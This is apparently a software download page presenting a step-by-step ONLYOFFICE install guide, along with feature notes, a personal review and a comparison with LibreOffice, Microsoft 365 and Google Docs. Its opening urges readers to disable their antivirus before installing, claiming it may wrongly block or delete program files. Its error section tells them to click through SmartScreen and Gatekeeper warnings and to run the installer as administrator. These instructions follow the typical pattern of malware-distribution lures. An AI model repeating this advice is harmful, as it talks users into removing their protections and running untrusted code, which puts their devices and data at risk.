ONLYOFFICE: Step-by-Step Guide
Before installing the program, be sure to temporarily disable your antivirus!
This is necessary for the installation file to work correctly – the antivirus may mistakenly block the launch or delete parts of the program. After installation, do not forget to turn the protection back on.
If you want an office suite that plays nicely with Microsoft formats but doesn’t lock you into subscriptions, ONLYOFFICE is an interesting pick. I’ve used ONLYOFFICE for shared documents, spreadsheet crunching, and quick slide decks across Windows and the web. Below is a step‑by‑step install guide, what ONLYOFFICE actually does, and how it stacks up against the usual suspects — without the marketing fluff.
How to Unpack/Install

- Download the installer for your OS: Windows (.exe/.msi), macOS (.dmg), or Linux (.deb/.rpm/AppImage).
- Run the installer and accept the license terms.
- Choose the installation directory or keep the default.
- Optionally enable file associations for DOCX/XLSX/PPTX.
- Finish setup and launch ONLYOFFICE Desktop Editors.
Possible Errors During Installation
- SmartScreen or Gatekeeper warning: On Windows, click “More info → Run anyway.” On macOS, allow the app in System Settings → Privacy & Security.
- Missing dependencies on Linux: Install via your distro’s package manager or use the AppImage to avoid dependency issues.
- Installer won’t start: Right‑click → Run as administrator (Windows) or verify permissions (chmod +x for AppImage).
How to Check a Successful Installation

Launch ONLYOFFICE Desktop Editors. You should see options for Document, Spreadsheet, and Presentation. Open a sample DOCX/XLSX/PPTX and confirm formatting, fonts, and images display correctly. Create a test file and save it locally to ensure write permissions are fine.
What ONLYOFFICE Does
ONLYOFFICE is an office suite focused on high compatibility with Microsoft formats and collaborative editing. Core capabilities include:
- Editing and creating DOCX, XLSX, PPTX with strong layout fidelity.
- Real‑time co‑editing with comments, track changes, and version history (when connected to a collaboration server or cloud).
- Forms (OFORM/PDF) creation and filling.
- Plugins for things like grammar checking, translators, and diagramming.
- Support for encrypted documents and password‑protected files.
- Integration with popular clouds (when configured): Nextcloud, ownCloud, Seafile, and others.
My Personal Experience
I started using ONLYOFFICE for cross‑team work where DOCX compatibility mattered. The editing surface feels familiar if you come from Microsoft Office. Track Changes behaved predictably in long policy documents, and spreadsheets handled medium‑sized datasets without choking. Presentations were straightforward — fewer bells and whistles than PowerPoint, but good enough for client decks.
I’ve also worked with LibreOffice and Google Docs in similar projects. LibreOffice is great offline but occasionally nudges formatting when round‑tripping DOCX files. Google Docs nails collaboration but alters complex layouts. ONLYOFFICE hit a sweet spot for me when precise formatting and co‑editing both mattered.
Pros and cons I noticed:
- High fidelity with DOCX/XLSX/PPTX layouts.
- Clean, ribbon‑style UI that doesn’t overwhelm.
- Advanced features (e.g., some collaboration functions) require connecting to a server/cloud.
Comparison with Alternatives
Suite | Pros | Cons |
---|---|---|
ONLYOFFICE | Strong MS Office compatibility, solid co‑editing, form tools | Best collaboration requires server/cloud setup |
LibreOffice | Free, powerful offline features | DOCX/PPTX fidelity can vary on complex docs |
Microsoft 365 | Deepest feature set, seamless enterprise integration | Subscription cost, heavier footprint |
Google Docs/Sheets/Slides | Excellent real‑time collaboration in the browser | Layout shifts on complex Office files |
FAQ
Conclusion
ONLYOFFICE is a practical, modern office suite that balances compatibility and collaboration. If you need reliable DOCX/XLSX/PPTX handling and want the option to self‑host your collab tools, it’s a strong alternative to both Microsoft 365 and Google’s web‑only approach.
